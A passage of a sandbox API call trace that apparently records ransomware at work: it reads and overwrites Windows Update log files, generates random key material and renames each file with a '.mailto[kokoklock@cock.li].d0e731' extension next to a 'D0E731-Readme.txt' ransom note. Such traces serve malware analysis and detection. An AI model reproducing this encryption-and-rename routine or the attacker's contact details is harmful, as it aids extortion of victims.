Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x20d1c85e [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xfe0ba121 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x2c14e6ff [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xe4c893d3 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x4777f61f [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xd2c8e57b [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xae9bcb4a [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x483115ba [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x45c6a823 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x4e88f4f1 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xf02244c9 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xd83702b [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x55bdcd62 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x991933a5 [0081.216] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xda916a07 [0081.217] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x2ed5071 [0081.217] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0xefe507f8 [0081.217] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x895ab596 [0081.217] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x109b0cd5 [0081.217] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x7d4af634 [0081.217] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x4b40b311 [0081.217] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x8a67b4fd [0081.217] RtlRandom (in: Seed=0x258bfc58 | out: Seed=0x258bfc58) returned 0x6fa0ad89 [0081.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.227] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.228] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e360 [0081.228] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e360) returned 1 [0081.228] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.228] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.228] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x258bfc4c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x258bfc4c*=0x1000, lpOverlapped=0x0) returned 1 [0081.228] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x258bfc14 | out: lpNewFilePointer=0x0) returned 1 [0081.228] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x258bfc48, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x258bfc48*=0x1000, lpOverlapped=0x0) returned 1 [0081.228] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.228] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e360 [0081.228] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e360) returned 1 [0081.228] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x258bfc44, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x258bfc44*=0x20, lpOverlapped=0x0) returned 1 [0081.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.229] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x258bfc70, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x258bfc70*=0x8, lpOverlapped=0x0) returned 1 [0081.229] WriteFile (in: hFile=0x458, lpBuffer=0x258bfc88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x258bfc70, lpOverlapped=0x0 | out: lpBuffer=0x258bfc88*, lpNumberOfBytesWritten=0x258bfc70*=0x4, lpOverlapped=0x0) returned 1 [0081.229] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x258bfc70, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x258bfc70*=0x4, lpOverlapped=0x0) returned 1 [0081.229] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x258bfc70, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x258bfc70*=0x6c, lpOverlapped=0x0) returned 1 [0081.229] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x258bfc70, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x258bfc70*=0x20, lpOverlapped=0x0) returned 1 [0081.229] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x258bfc70, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x258bfc70*=0x4, lpOverlapped=0x0) returned 1 [0081.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e338) returned 1 [0081.229] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.229] CloseHandle (hObject=0x458) returned 1 [0081.229] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.230] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" [0081.230] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731" [0081.230] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.262] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.263] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl", dwFileAttributes=0x2020) returned 0 [0081.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.263] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.263] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.263] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348bd08) returned 1 [0081.263] RtlExitUserThread (Status=0x1) Thread: id = 1048 os_tid = 0x1764 [0081.264] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl")) returned 0x2020 [0081.265] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl", dwFileAttributes=0x20) returned 1 [0081.265] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.265] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2593f818 | out: lpFileSize=0x2593f818*=8192) returned 1 [0081.265] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.265] ReadFile (in: hFile=0x458, lpBuffer=0x2593f7ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2593f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2593f7ec*, lpNumberOfBytesRead=0x2593f7e8*=0x4, lpOverlapped=0x0) returned 1 [0081.267] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e338 [0081.267] NtQuerySystemTime (in: CurrentTime=0x2593f7c4 | out: CurrentTime=0x2593f7c4*=132121176391624564) returned 0x0 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x6fa17a55 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x4ce1851e [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x39d80baf [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x48dc1bbe [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x313b730d [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0xedd2ec35 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x85f2f2b4 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x420db311 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0xc2e34354 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x6817f6d8 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x460634c3 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0xd3d2fe0d [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0xfe217e2e [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0xd54ab590 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0xaea4edd4 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x9496d56e [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0xbab8b8c5 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x38c8b804 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x4e498db1 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x48a7c43b [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x1397602d [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0xcb37b2d1 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0xeabb86e8 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0xa343d6d0 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x7a347e2c [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x3b1069d5 [0081.267] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x7a4f2ffd [0081.268] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x169df59 [0081.268] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x3f751612 [0081.268] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x10ba9f12 [0081.268] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x36c4fca6 [0081.268] RtlRandom (in: Seed=0x2593f7d0 | out: Seed=0x2593f7d0) returned 0x92e7aeeb [0081.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e388 [0081.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e388) returned 1 [0081.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.279] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2593f7c4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2593f7c4*=0x2000, lpOverlapped=0x0) returned 1 [0081.279] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2593f78c | out: lpNewFilePointer=0x0) returned 1 [0081.279] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2593f7c0, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2593f7c0*=0x2000, lpOverlapped=0x0) returned 1 [0081.280] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.280] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e388 [0081.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e388) returned 1 [0081.280] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2593f7bc, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x2593f7bc*=0x20, lpOverlapped=0x0) returned 1 [0081.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.280] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2593f7e8, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x2593f7e8*=0x8, lpOverlapped=0x0) returned 1 [0081.280] WriteFile (in: hFile=0x458, lpBuffer=0x2593f800*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2593f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2593f800*, lpNumberOfBytesWritten=0x2593f7e8*=0x4, lpOverlapped=0x0) returned 1 [0081.280] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2593f7e8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2593f7e8*=0x4, lpOverlapped=0x0) returned 1 [0081.280] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2593f7e8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2593f7e8*=0x6c, lpOverlapped=0x0) returned 1 [0081.280] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2593f7e8, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x2593f7e8*=0x20, lpOverlapped=0x0) returned 1 [0081.281] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2593f7e8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2593f7e8*=0x4, lpOverlapped=0x0) returned 1 [0081.281] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.281] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e360) returned 1 [0081.281] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.281] CloseHandle (hObject=0x458) returned 1 [0081.281] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.281] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" [0081.281] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731" [0081.281] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.282] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.282] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.282] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl", dwFileAttributes=0x2020) returned 0 [0081.282] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.282] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.282] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.282] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.282] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.282] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b550) returned 1 [0081.282] RtlExitUserThread (Status=0x1) Thread: id = 1049 os_tid = 0x1768 [0081.283] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl")) returned 0x2020 [0081.284] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl", dwFileAttributes=0x20) returned 1 [0081.284] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.284] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x259bfd1c | out: lpFileSize=0x259bfd1c*=12288) returned 1 [0081.284] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.285] ReadFile (in: hFile=0x458, lpBuffer=0x259bfcf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x259bfcec, lpOverlapped=0x0 | out: lpBuffer=0x259bfcf0*, lpNumberOfBytesRead=0x259bfcec*=0x4, lpOverlapped=0x0) returned 1 [0081.286] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e360 [0081.286] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e540 [0081.286] NtQuerySystemTime (in: CurrentTime=0x259bfcc8 | out: CurrentTime=0x259bfcc8*=132121176391778639) returned 0x0 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x6d121083 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x9dd624fa [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0xf0b8aaa6 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x1b4f8b18 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x8d8f1077 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x2b944ba2 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0xa6eb6599 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0xda55d1d2 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x404d13a4 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x31be5de2 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x2fb987e8 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x594243cd [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x140443f1 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0xf5547b4a [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x483593cb [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x818e1a78 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x9daa78fd [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x5af4d458 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x958fa2c [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0xe50df15b [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x3265316f [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0xd02d26e7 [0081.286] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0xab9cf054 [0081.287] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x2418de95 [0081.287] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0xe33b6095 [0081.287] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x43039ba9 [0081.287] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x7f664ce2 [0081.287] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x450f813c [0081.287] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0xa2cc3970 [0081.287] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x5b507fb9 [0081.287] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0xfdf9f5ae [0081.287] RtlRandom (in: Seed=0x259bfcd4 | out: Seed=0x259bfcd4) returned 0x1822cbab [0081.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0081.298] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.298] RtlAllocateHeap (HeapHandle=0x33c0000, 